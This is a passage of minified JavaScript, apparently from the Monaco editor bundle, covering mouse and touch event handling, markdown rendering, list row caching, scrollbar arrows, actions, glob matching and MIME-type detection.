f(t,e),t.prototype.dispose=function(){this.stopMonitoring(!1),e.prototype.dispose.call(this)},t.prototype.stopMonitoring=function(e){if(this.isMonitoring()){this.hooks=n.dispose(this.hooks),this.mouseMoveEventMerger=null,this.mouseMoveCallback=null;var t=this.onStopCallback;this.onStopCallback=null,e&&t()}},t.prototype.isMonitoring=function(){return this.hooks.length>0},t.prototype.startMonitoring=function(e,t,n){var s=this;if(!this.isMonitoring()){this.mouseMoveEventMerger=e,this.mouseMoveCallback=t,this.onStopCallback=n;for(var a=o.IframeUtils.getSameOriginWindowChain(),u=0;u<a.length;u++)this.hooks.push(i.addDisposableThrottledListener(a[u].window.document,\"mousemove\",function(e){return s.mouseMoveCallback(e)},function(e,t){return s.mouseMoveEventMerger(e,t)})),this.hooks.push(i.addDisposableListener(a[u].window.document,\"mouseup\",function(e){return s.stopMonitoring(!0)}));if(o.IframeUtils.hasDifferentOriginAncestor()){var l=a[a.length-1];this.hooks.push(i.addDisposableListener(l.window.document,\"mouseout\",function(e){\"html\"===new r.StandardMouseEvent(e).target.tagName.toLowerCase()&&s.stopMonitoring(!0)})),this.hooks.push(i.addDisposableListener(l.window.document,\"mouseover\",function(e){\"html\"===new r.StandardMouseEvent(e).target.tagName.toLowerCase()&&s.stopMonitoring(!0)})),this.hooks.push(i.addDisposableListener(l.window.document.body,\"mouseleave\",function(e){s.stopMonitoring(!0)}))}}},t}(n.Disposable);t.GlobalMouseMoveMonitor=s}),define(d[102],h([1,0,4,108,9,7,133,209]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e){var t=e.inline?\"span\":\"div\",n=document.createElement(t);return e.className&&(n.className=e.className),n}function l(e,t){void 0===t&&(t={});var l,c=u(t),d=(t.codeBlockRenderer,t.actionCallback,new r.TPromise(function(e){return l=e})),h=new a.marked.Renderer;return h.image=function(e,t,n){var i=[];if(e){var o=e.split(\"|\").map(function(e){return e.trim()});e=o[0];var r=o[1];if(r){var s=/height=(\\d+)/.exec(r),a=/width=(\\d+)/.exec(r),u=s&&s[1],l=a&&a[1],c=isFinite(parseInt(l)),d=isFinite(parseInt(u));c&&i.push('width=\"'+l+'\"'),d&&i.push('height=\"'+u+'\"')}}var h=[];return e&&h.push('src=\"'+e+'\"'),n&&h.push('alt=\"'+n+'\"'),t&&h.push('title=\"'+t+'\"'),i.length&&(h=h.concat(i)),\"<img \"+h.join(\" \")+\">\"},h.link=function(e,t,n){return e===n&&(n=s.removeMarkdownEscapes(n)),t=s.removeMarkdownEscapes(t),!(e=s.removeMarkdownEscapes(e))||e.match(/^data:|javascript:/i)?n:'<a href=\"#\" data-href=\"'+e+'\" title=\"'+(t||n)+'\">'+n+\"</a>\"},h.paragraph=function(e){return\"<p>\"+e+\"</p>\"},t.codeBlockRenderer&&(h.code=function(e,n){var s=t.codeBlockRenderer(n,e);if(\"string\"==typeof s)return s;if(r.TPromise.is(s)){var a=i.defaultGenerator.nextId();return r.TPromise.join([s,d]).done(function(e){var t=e[0],n=c.querySelector('div[data-code=\"'+a+'\"]');n&&(n.innerHTML=t)},function(e){}),'<div class=\"code\" data-code=\"'+a+'\">'+o.escape(e)+\"</div>\"}return e}),t.actionCallback&&n.addStandardDisposableListener(c,\"click\",function(e){if(\"A\"===e.target.tagName){var n=e.target.dataset.href;n&&t.actionCallback(n,e)}}),c.innerHTML=a.marked(e,{sanitize:!0,renderer:h}),l(),c}function c(e,t,i){var o;if(2===t.type)o=document.createTextNode(t.content);else if(3===t.type)o=document.createElement(\"b\");else if(4===t.type)o=document.createElement(\"i\");else if(5===t.type){var r=document.createElement(\"a\");r.href=\"#\",n.addStandardDisposableListener(r,\"click\",function(e){i(String(t.index),e)}),o=r}else 7===t.type?o=document.createElement(\"br\"):1===t.type&&(o=e);e!==o&&e.appendChild(o),Array.isArray(t.children)&&t.children.forEach(function(e){c(o,e,i)})}function d(e){for(var t={type:1,children:[]},n=0,i=t,o=[],r=new g(e);!r.eos();){var s=r.next(),a=\"\\\\\"===s&&0!==p(r.peek());if(a&&(s=r.next()),!a&&h(s)&&s===r.peek()){r.advance(),2===i.type&&(i=o.pop());var u=p(s);if(i.type===u||5===i.type&&6===u)i=o.pop();else{var l={type:u,children:[]};5===u&&(l.index=n,n++),i.children.push(l),o.push(i),i=l}}else if(\"\\n\"===s)2===i.type&&(i=o.pop()),i.children.push({type:7});else if(2!==i.type){var c={type:2,content:s};i.children.push(c),o.push(i),i=c}else i.content+=s}return 2===i.type&&(i=o.pop()),o.length,t}function h(e){return 0!==p(e)}function p(e){switch(e){case\"*\":return 3;case\"_\":return 4;case\"[\":return 5;case\"]\":return 6;default:return 0}}Object.defineProperty(t,\"__esModule\",{value:!0}),t.renderMarkedString=function(e,t){void 0===t&&(t={});var n;return n=\"string\"==typeof e?e:\"```\"+e.language+\"\\n\"+e.value+\"\\n```\",l(n,t)},t.renderText=function(e,t){void 0===t&&(t={});var n=u(t);return n.textContent=e,n},t.renderFormattedText=function(e,t){void 0===t&&(t={});var n=u(t);return c(n,d(e),t.actionCallback),n},t.renderMarkdown=l;var f,g=function(){function e(e){this.source=e,this.index=0}return e.prototype.eos=function(){return this.index>=this.source.length},e.prototype.next=function(){var e=this.peek();return this.advance(),e},e.prototype.peek=function(){return this.source[this.index]},e.prototype.advance=function(){this.index++},e}();!function(e){e[e.Invalid=0]=\"Invalid\",e[e.Root=1]=\"Root\",e[e.Text=2]=\"Text\",e[e.Bold=3]=\"Bold\",e[e.Italics=4]=\"Italics\",e[e.Action=5]=\"Action\",e[e.ActionClose=6]=\"ActionClose\",e[e.NewLine=7]=\"NewLine\"}(f||(f={}))}),define(d[74],h([1,0,33,3,4]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var r;!function(e){e.Tap=\"-monaco-gesturetap\",e.Change=\"-monaco-gesturechange\",e.Start=\"-monaco-gesturestart\",e.End=\"-monaco-gesturesend\",e.Contextmenu=\"-monaco-gesturecontextmenu\"}(r=t.EventType||(t.EventType={}));var s=function(){function e(e){this.callOnTarget=[],this.activeTouches={},this.target=e,this.handle=null}return e.prototype.dispose=function(){this.target=null,this.handle&&(this.handle.dispose(),this.handle=null)},Object.defineProperty(e.prototype,\"target\",{set:function(e){var t=this;this.callOnTarget=i.dispose(this.callOnTarget),this.activeTouches={},this.targetElement=e,this.targetElement&&(this.callOnTarget.push(o.addDisposableListener(this.targetElement,\"touchstart\",function(e){return t.onTouchStart(e)})),this.callOnTarget.push(o.addDisposableListener(this.targetElement,\"touchend\",function(e){return t.onTouchEnd(e)})),this.callOnTarget.push(o.addDisposableListener(this.targetElement,\"touchmove\",function(e){return t.onTouchMove(e)})))},enumerable:!0,configurable:!0}),e.newGestureEvent=function(e){var t=document.createEvent(\"CustomEvent\");return t.initEvent(e,!1,!0),t},e.prototype.onTouchStart=function(t){var n=Date.now();t.preventDefault(),this.handle&&(this.handle.dispose(),this.handle=null);for(var i=0,o=t.targetTouches.length;i<o;i++){var s=t.targetTouches.item(i);this.activeTouches[s.identifier]={id:s.identifier,initialTarget:s.target,initialTimeStamp:n,initialPageX:s.pageX,initialPageY:s.pageY,rollingTimestamps:[n],rollingPageX:[s.pageX],rollingPageY:[s.pageY]};var a=e.newGestureEvent(r.Start);a.pageX=s.pageX,a.pageY=s.pageY,this.targetElement.dispatchEvent(a)}},e.prototype.onTouchEnd=function(t){var i=Date.now();t.preventDefault(),t.stopPropagation();for(var o=Object.keys(this.activeTouches).length,s=0,a=t.changedTouches.length;s<a;s++){var u=t.changedTouches.item(s);if(this.activeTouches.hasOwnProperty(String(u.identifier))){var l=this.activeTouches[u.identifier],c=Date.now()-l.initialTimeStamp;if(c<e.HOLD_DELAY&&Math.abs(l.initialPageX-n.tail(l.rollingPageX))<30&&Math.abs(l.initialPageY-n.tail(l.rollingPageY))<30)(d=e.newGestureEvent(r.Tap)).initialTarget=l.initialTarget,d.pageX=n.tail(l.rollingPageX),d.pageY=n.tail(l.rollingPageY),this.targetElement.dispatchEvent(d);else if(c>=e.HOLD_DELAY&&Math.abs(l.initialPageX-n.tail(l.rollingPageX))<30&&Math.abs(l.initialPageY-n.tail(l.rollingPageY))<30){var d=e.newGestureEvent(r.Contextmenu);d.initialTarget=l.initialTarget,d.pageX=n.tail(l.rollingPageX),d.pageY=n.tail(l.rollingPageY),this.targetElement.dispatchEvent(d)}else if(1===o){var h=n.tail(l.rollingPageX),p=n.tail(l.rollingPageY),f=n.tail(l.rollingTimestamps)-l.rollingTimestamps[0],g=h-l.rollingPageX[0],m=p-l.rollingPageY[0];this.inertia(i,Math.abs(g)/f,g>0?1:-1,h,Math.abs(m)/f,m>0?1:-1,p)}delete this.activeTouches[u.identifier]}else console.warn(\"move of an UNKNOWN touch\",u)}},e.prototype.inertia=function(t,n,i,s,a,u,l){var c=this;this.handle=o.scheduleAtNextAnimationFrame(function(){var o=Date.now(),d=o-t,h=0,p=0,f=!0;n+=e.SCROLL_FRICTION*d,a+=e.SCROLL_FRICTION*d,n>0&&(f=!1,h=i*n*d),a>0&&(f=!1,p=u*a*d);var g=e.newGestureEvent(r.Change);g.translationX=h,g.translationY=p,c.targetElement.dispatchEvent(g),f||c.inertia(o,n,i,s+h,a,u,l+p)})},e.prototype.onTouchMove=function(t){var i=Date.now();t.preventDefault(),t.stopPropagation();for(var o=0,s=t.changedTouches.length;o<s;o++){var a=t.changedTouches.item(o);if(this.activeTouches.hasOwnProperty(String(a.identifier))){var u=this.activeTouches[a.identifier],l=e.newGestureEvent(r.Change);l.translationX=a.pageX-n.tail(u.rollingPageX),l.translationY=a.pageY-n.tail(u.rollingPageY),l.pageX=a.pageX,l.pageY=a.pageY,this.targetElement.dispatchEvent(l),u.rollingPageX.length>3&&(u.rollingPageX.shift(),u.rollingPageY.shift(),u.rollingTimestamps.shift()),u.rollingPageX.push(a.pageX),u.rollingPageY.push(a.pageY),u.rollingTimestamps.push(i)}else console.warn(\"end of an UNKNOWN touch\",a)}},e.HOLD_DELAY=700,e.SCROLL_FRICTION=-.005,e}();t.Gesture=s}),define(d[110],h([1,0,9,4,26,512]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e){this.domNode=document.createElement(\"span\"),this.domNode.className=\"monaco-highlighted-label\",this.didEverRender=!1,e.appendChild(this.domNode)}return Object.defineProperty(e.prototype,\"element\",{get:function(){return this.domNode},enumerable:!0,configurable:!0}),e.prototype.set=function(e,t){void 0===t&&(t=[]),e||(e=\"\"),this.didEverRender&&this.text===e&&o.equals(this.highlights,t)||(Array.isArray(t)||(t=[]),this.text=e,this.highlights=t,this.render())},e.prototype.render=function(){i.clearNode(this.domNode);for(var e,t=[],o=0,s=0;s<this.highlights.length;s++)(e=this.highlights[s]).end!==e.start&&(o<e.start&&(t.push(\"<span>\"),t.push(r.expand(n.escape(this.text.substring(o,e.start)))),t.push(\"</span>\"),o=e.end),t.push('<span class=\"highlight\">'),t.push(r.expand(n.escape(this.text.substring(e.start,e.end)))),t.push(\"</span>\"),o=e.end);o<this.text.length&&(t.push(\"<span>\"),t.push(r.expand(n.escape(this.text.substring(o)))),t.push(\"</span>\")),this.domNode.innerHTML=t.join(\"\"),this.didEverRender=!0},e.prototype.dispose=function(){this.text=null,this.highlights=null},e}();t.HighlightedLabel=s}),define(d[416],h([1,0,4]),function(e,t,n){\"use strict\";function i(e){try{e.parentElement.removeChild(e)}catch(e){}}Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e){this.renderers=e,this.cache=Object.create(null)}return e.prototype.alloc=function(e){var t=this.getTemplateCache(e).pop();if(!t){var i=n.$(\".monaco-list-row\");t={domNode:i,templateId:e,templateData:this.renderers[e].renderTemplate(i)}}return t},e.prototype.release=function(e){e&&this.releaseRow(e)},e.prototype.releaseRow=function(e){var t=e.domNode,o=e.templateId;n.removeClass(t,\"scrolling\"),i(t),this.getTemplateCache(o).push(e)},e.prototype.getTemplateCache=function(e){return this.cache[e]||(this.cache[e]=[])},e.prototype.garbageCollect=function(){var e=this;this.cache&&Object.keys(this.cache).forEach(function(t){e.cache[t].forEach(function(n){e.renderers[t].disposeTemplate(n.templateData),n.domNode=null,n.templateData=null}),delete e.cache[t]})},e.prototype.dispose=function(){this.garbageCollect(),this.cache=null,this.renderers=null},e}();t.RowCache=o}),define(d[41],h([1,0,3,47,65,4]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.onclick=function(e,t){this._register(r.addDisposableListener(e,r.EventType.CLICK,function(e){return t(new i.StandardMouseEvent(e))}))},t.prototype.onmousedown=function(e,t){this._register(r.addDisposableListener(e,r.EventType.MOUSE_DOWN,function(e){return t(new i.StandardMouseEvent(e))}))},t.prototype.onmouseover=function(e,t){this._register(r.addDisposableListener(e,r.EventType.MOUSE_OVER,function(e){return t(new i.StandardMouseEvent(e))}))},t.prototype.onnonbubblingmouseout=function(e,t){this._register(r.addDisposableNonBubblingMouseOutListener(e,function(e){return t(new i.StandardMouseEvent(e))}))},t.prototype.onkeydown=function(e,t){this._register(r.addDisposableListener(e,r.EventType.KEY_DOWN,function(e){return t(new o.StandardKeyboardEvent(e))}))},t.prototype.onkeyup=function(e,t){this._register(r.addDisposableListener(e,r.EventType.KEY_UP,function(e){return t(new o.StandardKeyboardEvent(e))}))},t.prototype.oninput=function(e,t){this._register(r.addDisposableListener(e,r.EventType.INPUT,t))},t.prototype.onblur=function(e,t){this._register(r.addDisposableListener(e,r.EventType.BLUR,t))},t.prototype.onfocus=function(e,t){this._register(r.addDisposableListener(e,r.EventType.FOCUS,t))},t.prototype.onchange=function(e,t){this._register(r.addDisposableListener(e,r.EventType.CHANGE,t))},t}(n.Disposable);t.Widget=s}),define(d[117],h([1,0,83,41,18]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ARROW_IMG_SIZE=11;var r=function(e){function i(i){var r=e.call(this)||this;return r._onActivate=i.onActivate,r.bgDomNode=document.createElement(\"div\"),r.bgDomNode.className=\"arrow-background\",r.bgDomNode.style.position=\"absolute\",r.bgDomNode.style.width=i.bgWidth+\"px\",r.bgDomNode.style.height=i.bgHeight+\"px\",void 0!==i.top&&(r.bgDomNode.style.top=\"0px\"),void 0!==i.left&&(r.bgDomNode.style.left=\"0px\"),void 0!==i.bottom&&(r.bgDomNode.style.bottom=\"0px\"),void 0!==i.right&&(r.bgDomNode.style.right=\"0px\"),r.domNode=document.createElement(\"div\"),r.domNode.className=i.className,r.domNode.style.position=\"absolute\",r.domNode.style.width=t.ARROW_IMG_SIZE+\"px\",r.domNode.style.height=t.ARROW_IMG_SIZE+\"px\",void 0!==i.top&&(r.domNode.style.top=i.top+\"px\"),void 0!==i.left&&(r.domNode.style.left=i.left+\"px\"),void 0!==i.bottom&&(r.domNode.style.bottom=i.bottom+\"px\"),void 0!==i.right&&(r.domNode.style.right=i.right+\"px\"),r._mouseMoveMonitor=r._register(new n.GlobalMouseMoveMonitor),r.onmousedown(r.bgDomNode,function(e){return r._arrowMouseDown(e)}),r.onmousedown(r.domNode,function(e){return r._arrowMouseDown(e)}),r._mousedownRepeatTimer=r._register(new o.IntervalTimer),r._mousedownScheduleRepeatTimer=r._register(new o.TimeoutTimer),r}return f(i,e),i.prototype._arrowMouseDown=function(e){var t=this;this._onActivate(),this._mousedownRepeatTimer.cancel(),this._mousedownScheduleRepeatTimer.cancelAndSet(function(){t._mousedownRepeatTimer.cancelAndSet(function(){return t._onActivate()},1e3/24)},200),this._mouseMoveMonitor.startMonitoring(n.standardMouseMoveMerger,function(e){},function(){t._mousedownRepeatTimer.cancel(),t._mousedownScheduleRepeatTimer.cancel()}),e.preventDefault()},i}(i.Widget);t.ScrollbarArrow=r}),define(d[53],h([1,0,7,38,79,11]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.isAction=function(e){return!!e&&(e instanceof s||\"string\"==typeof e.id&&\"string\"==typeof e.label&&\"string\"==typeof e.class&&\"boolean\"==typeof e.enabled&&\"boolean\"==typeof e.checked&&\"function\"==typeof e.run)};var s=function(){function e(e,t,n,i,o){void 0===t&&(t=\"\"),void 0===n&&(n=\"\"),void 0===i&&(i=!0),this._onDidChange=new r.Emitter,this._id=e,this._label=t,this._cssClass=n,this._enabled=i,this._actionCallback=o}return e.prototype.dispose=function(){this._onDidChange.dispose()},Object.defineProperty(e.prototype,\"onDidChange\",{get:function(){return this._onDidChange.event},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"id\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"label\",{get:function(){return this._label},set:function(e){this._setLabel(e)},enumerable:!0,configurable:!0}),e.prototype._setLabel=function(e){this._label!==e&&(this._label=e,this._onDidChange.fire({label:e}))},Object.defineProperty(e.prototype,\"tooltip\",{get:function(){return this._tooltip},set:function(e){this._setTooltip(e)},enumerable:!0,configurable:!0}),e.prototype._setTooltip=function(e){this._tooltip!==e&&(this._tooltip=e,this._onDidChange.fire({tooltip:e}))},Object.defineProperty(e.prototype,\"class\",{get:function(){return this._cssClass},set:function(e){this._setClass(e)},enumerable:!0,configurable:!0}),e.prototype._setClass=function(e){this._cssClass!==e&&(this._cssClass=e,this._onDidChange.fire({class:e}))},Object.defineProperty(e.prototype,\"enabled\",{get:function(){return this._enabled},set:function(e){this._setEnabled(e)},enumerable:!0,configurable:!0}),e.prototype._setEnabled=function(e){this._enabled!==e&&(this._enabled=e,this._onDidChange.fire({enabled:e}))},Object.defineProperty(e.prototype,\"checked\",{get:function(){return this._checked},set:function(e){this._setChecked(e)},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"radio\",{get:function(){return this._radio},set:function(e){this._setRadio(e)},enumerable:!0,configurable:!0}),e.prototype._setChecked=function(e){this._checked!==e&&(this._checked=e,this._onDidChange.fire({checked:e}))},e.prototype._setRadio=function(e){this._radio!==e&&(this._radio=e,this._onDidChange.fire({radio:e}))},Object.defineProperty(e.prototype,\"order\",{get:function(){return this._order},set:function(e){this._order=e},enumerable:!0,configurable:!0}),e.prototype.run=function(e,t){return void 0!==this._actionCallback?this._actionCallback(e):n.TPromise.as(!0)},e}();t.Action=s;var a=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype.run=function(e,t){var i=this;return e.enabled?(this.emit(o.EventType.BEFORE_RUN,{action:e}),this.runAction(e,t).then(function(t){i.emit(o.EventType.RUN,{action:e,result:t})},function(t){i.emit(o.EventType.RUN,{action:e,error:t})})):n.TPromise.as(null)},t.prototype.runAction=function(e,t){return n.TPromise.as(t?e.run(t):e.run())},t}(i.EventEmitter);t.ActionRunner=a}),define(d[165],h([1,0,33,26,9,45,80,7]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(){return Object.create(null)}function l(e){switch(e){case 0:return\"\";case 1:return S+\"*?\";default:return\"(?:\"+w+\"|\"+S+\"+\"+w+\"|\"+w+S+\"+)*?\"}}function c(e,t){if(!e)return[];for(var n,i=[],o=!1,r=!1,s=\"\",a=0;a<e.length;a++){switch(n=e[a]){case t:if(!o&&!r){i.push(s),s=\"\";continue}break;case\"{\":o=!0;break;case\"}\":o=!1;break;case\"[\":r=!0;break;case\"]\":r=!1}s+=n}return s&&i.push(s),i}function d(e){if(!e)return\"\";var t=\"\",n=c(e,\"/\");if(n.every(function(e){return\"**\"===e}))t=\".*\";else{var i=!1;n.forEach(function(e,r){if(\"**\"!==e){for(var s,a=!1,u=\"\",h=!1,p=\"\",f=0;f<e.length;f++)if(\"}\"!==(s=e[f])&&a)u+=s;else if(\"]\"!==s&&h){var g=void 0;switch(s){case\"-\":case\"^\":g=s;break;default:g=o.escapeRegExpCharacters(s)}p+=g}else switch(s){case\"{\":a=!0;continue;case\"[\":h=!0;continue;case\"}\":var m=\"(?:\"+c(u,\",\").map(function(e){return d(e)}).join(\"|\")+\")\";t+=m,a=!1,u=\"\";break;case\"]\":t+=\"[\"+p+\"]\",h=!1,p=\"\";break;case\"?\":t+=S;continue;case\"*\":t+=l(1);continue;default:t+=o.escapeRegExpCharacters(s)}r<n.length-1&&\"**\"!==n[r+1]&&(t+=w),i=!1}else i||(t+=l(2),i=!0)})}return t}function h(e,t){if(!e)return O;var n=(e=e.trim())+\"_\"+!!t.trimForExclusions,i=I.get(n);if(i)return i;var r;if(L.test(e)){var s=e.substr(4);i=function(t,n){return t&&o.endsWith(t,s)?e:null}}else i=(r=x.exec(p(e,t)))?f(r[1],e):(t.trimForExclusions?M:N).test(e)?g(e,t):(r=T.exec(p(e,t)))?m(r[1].substr(1),e,!0):(r=k.exec(p(e,t)))?m(r[1],e,!1):v(e);return I.set(n,i),i}function p(e,t){return t.trimForExclusions&&o.endsWith(e,\"/**\")?e.substr(0,e.length-2):e}function f(e,t){var n=\"/\"+e,i=\"\\\\\"+e,r=function(r,s){return r?s?s===e?t:null:r===e||o.endsWith(r,n)||o.endsWith(r,i)?t:null:null},s=[e];return r.basenames=s,r.patterns=[t],r.allBasenames=s,r}function g(e,t){var i=b(e.slice(1,-1).split(\",\").map(function(e){return h(e,t)}).filter(function(e){return e!==O}),e),o=i.length;if(!o)return O;if(1===o)return i[0];var r=function(t,n){for(var o=0,r=i.length;o<r;o++)if(i[o](t,n))return e;return null},s=n.first(i,function(e){return!!e.allBasenames});s&&(r.allBasenames=s.allBasenames);var a=i.reduce(function(e,t){return t.allPaths?e.concat(t.allPaths):e},[]);return a.length&&(r.allPaths=a),r}function m(e,t,n){var i=r.nativeSep!==r.sep?e.replace(E,r.nativeSep):e,s=r.nativeSep+i,a=n?function(e,n){return e&&(e===i||o.endsWith(e,s))?t:null}:function(e,n){return e&&e===i?t:null};return a.allPaths=[(n?\"*/\":\"./\")+e],a}function v(e){try{var t=new RegExp(\"^\"+d(e)+\"$\");return function(n,i){return t.lastIndex=0,n&&t.test(n)?e:null}}catch(e){return O}}function _(e,t){if(void 0===t&&(t={}),!e)return D;if(\"string\"==typeof e){var n=h(e,t);if(n===O)return D;var i=function(e,t){return!!n(e,t)};return n.allBasenames&&(i.allBasenames=n.allBasenames),n.allPaths&&(i.allPaths=n.allPaths),i}return y(e,t)}function y(e,t){var i=b(Object.getOwnPropertyNames(e).map(function(n){return C(n,e[n],t)}).filter(function(e){return e!==O})),o=i.length;if(!o)return O;if(!i.some(function(e){return e.requiresSiblings})){if(1===o)return i[0];var s=function(e,t,n){for(var o=0,r=i.length;o<r;o++){var s=i[o](e,t);if(s)return s}return null},u=n.first(i,function(e){return!!e.allBasenames});u&&(s.allBasenames=u.allBasenames);var l=i.reduce(function(e,t){return t.allPaths?e.concat(t.allPaths):e},[]);return l.length&&(s.allPaths=l),s}var c=function(e,t,n){function o(n){if(n&&n.length)return t||(t=r.basename(e)),{siblings:n,name:t.substr(0,t.length-r.extname(e).length)}}for(var s,u=!n,l=0,c=i.length;l<c;l++){var d=i[l](e,t,function(){if(!u){u=!0;var e=n();s=a.TPromise.is(e)?e.then(o):o(e)}return s});if(d)return d}return null},d=n.first(i,function(e){return!!e.allBasenames});d&&(c.allBasenames=d.allBasenames);var h=i.reduce(function(e,t){return t.allPaths?e.concat(t.allPaths):e},[]);return h.length&&(c.allPaths=h),c}function C(e,t,n){if(!1===t)return O;var i=h(e,n);if(i===O)return O;if(\"boolean\"==typeof t)return i;if(t){var o=t.when;if(\"string\"==typeof o){var r=function(t){var n=o.replace(\"$(basename)\",t.name);return-1!==t.siblings.indexOf(n)?e:null},s=function(e,t,n){if(!i(e,t))return null;var o=n();return o?a.TPromise.is(o)?o.then(r):r(o):null};return s.requiresSiblings=!0,s}}return i}function b(e,t){var n=e.filter(function(e){return!!e.basenames});if(n.length<2)return e;var i,o=n.reduce(function(e,t){return e.concat(t.basenames)},[]);if(t){i=[];for(var r=0,s=o.length;r<s;r++)i.push(t)}else i=n.reduce(function(e,t){return e.concat(t.patterns)},[]);var a=function(e,t){if(!e)return null;if(!t){var n=void 0;for(n=e.length;n>0;n--){var r=e.charCodeAt(n-1);if(47===r||92===r)break}t=e.substr(n)}var s=o.indexOf(t);return-1!==s?i[s]:null};a.basenames=o,a.patterns=i,a.allBasenames=o;var u=e.filter(function(e){return!e.basenames});return u.push(a),u}Object.defineProperty(t,\"__esModule\",{value:!0}),t.getEmptyExpression=u,t.mergeExpressions=function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return i.assign.apply(i,[u()].concat(e.filter(function(e){return!!e})))};var w=\"[/\\\\\\\\]\",S=\"[^/\\\\\\\\]\",E=/\\//g;t.splitGlobAware=c;var L=/^\\*\\*\\/\\*\\.[\\w\\.-]+$/,x=/^\\*\\*\\/([\\w\\.-]+)\\/?$/,N=/^{\\*\\*\\/[\\*\\.]?[\\w\\.-]+\\/?(,\\*\\*\\/[\\*\\.]?[\\w\\.-]+\\/?)*}$/,M=/^{\\*\\*\\/[\\*\\.]?[\\w\\.-]+(\\/(\\*\\*)?)?(,\\*\\*\\/[\\*\\.]?[\\w\\.-]+(\\/(\\*\\*)?)?)*}$/,T=/^\\*\\*((\\/[\\w\\.-]+)+)\\/?$/,k=/^([\\w\\.-]+(\\/[\\w\\.-]+)*)\\/?$/,I=new s.BoundedMap(1e4),D=function(){return!1},O=function(){return null};t.match=function(e,t,n){return!(!e||!t)&&_(e)(t,void 0,n)},t.parse=_,t.parseToAsync=function(e,t){var n=_(e,t);return function(e,t,i){var o=n(e,t,i);return o instanceof a.TPromise?o:a.TPromise.as(o)}},t.getBasenameTerms=function(e){return e.allBasenames||[]},t.getPathTerms=function(e){return e.allPaths||[]}}),define(d[166],h([1,0,45,29,9,165]),function(e,t,n,i,o,r){\"use strict\";function s(e){return{id:e.id,mime:e.mime,filename:e.filename,extension:e.extension,filepattern:e.filepattern,firstline:e.firstline,userConfigured:e.userConfigured,filenameLowercase:e.filename?e.filename.toLowerCase():void 0,extensionLowercase:e.extension?e.extension.toLowerCase():void 0,filepatternLowercase:e.filepattern?e.filepattern.toLowerCase():void 0,filepatternOnPath:!!e.filepattern&&e.filepattern.indexOf(n.sep)>=0}}function a(e,t,n){for(var i,s,a,u=n.length-1;u>=0;u--){var l=n[u];if(t===l.filenameLowercase){i=l;break}if(l.filepattern&&(!s||l.filepattern.length>s.filepattern.length)){var c=l.filepatternOnPath?e:t;r.match(l.filepatternLowercase,c)&&(s=l)}l.extension&&(!a||l.extension.length>a.extension.length)&&o.endsWith(t,l.extensionLowercase)&&(a=l)}return i?i.mime:s?s.mime:a?a.mime:null}function u(e){if(o.startsWithUTF8BOM(e)&&(e=e.substr(1)),e.length>0)for(var t=0;t<c.length;++t){var n=c[t];if(n.firstline){var i=e.match(n.firstline);if(i&&i.length>0)return n.mime}}return null}function l(e){return!e||(\"string\"==typeof e?e===t.MIME_BINARY||e===t.MIME_TEXT||e===t.MIME_UNKNOWN:1===e.length&&l(e[0]))}Object.defineProperty(t,\"__esModule\",{value:!0}),t.MIME_TEXT=\"text/plain\",t.MIME_BINARY=\"application/octet-stream\",t.MIME_UNKNOWN=\"application/unknown\";var c=[],d=[],h=[];t.registerTextMime=function(e){var t=s(e);c.push(t),t.userConfigured?h.push(t):d.push(t),t.userConfigured||c.forEach(function(e){e.mime===t.mime||e.userConfigured||(t.extension&&e.extension===t.extension&&console.warn(\"Overwriting extension <<\"+t.extension+\">> to now point to mime <<\"+t.mime+\">>\"),t.filename&&e.filename===t.filename&&console.warn(\"Overwriting filename <<\"+t.filename+\">> to now point to mime <<\"+t.mime+\">>\"),t.filepattern&&e.filepattern===t.filepattern&&console.warn(\"Overwriting filepattern <<\"+t.filepattern+\">> to now point to mime <<\"+t.mime+\">>\"),t.firstline&&e.firstline===t.firstline&&console.warn(\"Overwriting firstline <<\"+t.firstline+\">> to now point to mime <<\"+t.mime+\">>\"))})},t.clearTextMimes=function(e){e?(c=c.filter(function(e){return!e.userConfigured}),h=[]):(c=[],d=[],h=[])},t.guessMimeTypes=function(e,i){if(!e)return[t.MIME_UNKNOWN];e=e.toLowerCase();var o=n.basename(e),r=a(e,o,h);if(r)return[r,t.MIME_TEXT];var s=a(e,o,d);if(s)return[s,t.MIME_TEXT];if(i){var l=u(i);if(l)return[l,t.MIME_TEXT]}return[t.MIME_UNKNOWN]},t.isBinaryMime=function(e){if(!e)return!1;return(i.isArray(e)?e:e.split(\",\").map(function(e){return e.trim()})).indexOf(t.MIME_BINARY)>=0},t.isUnspecific=l,t.suggestFilename=function(e,t){for(var n=0;n<c.length;n++){var i=c[n];if(!i.userConfigured&&i.id===e&&i.extension)return t+i.extension}return t}}),define(d[48],h([1,0,3,11]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});!function(e){e[e.Auto=1]=\"Auto\",e[e.Hidden=2]=\"Hidden\",e[e.Visible=3]=\"Visible\"}(t.ScrollbarVisibility||(t.ScrollbarVisibility={}));var o=function(){function e(e,t,n,i,o,r){t|=0,n|=0,i|=0,o|=0,r|=0,(e|=0)<0&&(e=0),n+e>t&&(n=t-e),n<0&&(n=0),i<0&&(i=0),r+i>o&&(r=o-i),r<0&&(r=0),this.width=e,this.scrollWidth=t,this.scrollLeft=n,this.height=i,this.scrollHeight=o,this.scrollTop=r}return e.prototype.equals=function(e){return this.width===e.width&&this.scrollWidth===e.scrollWidth&&this.scrollLeft===e.scrollLeft&&this.height===e.height&&this.scrollHeight===e.scrollHeight&&this.scrollTop===e.scrollTop},e.prototype.createScrollEvent=function(e){var 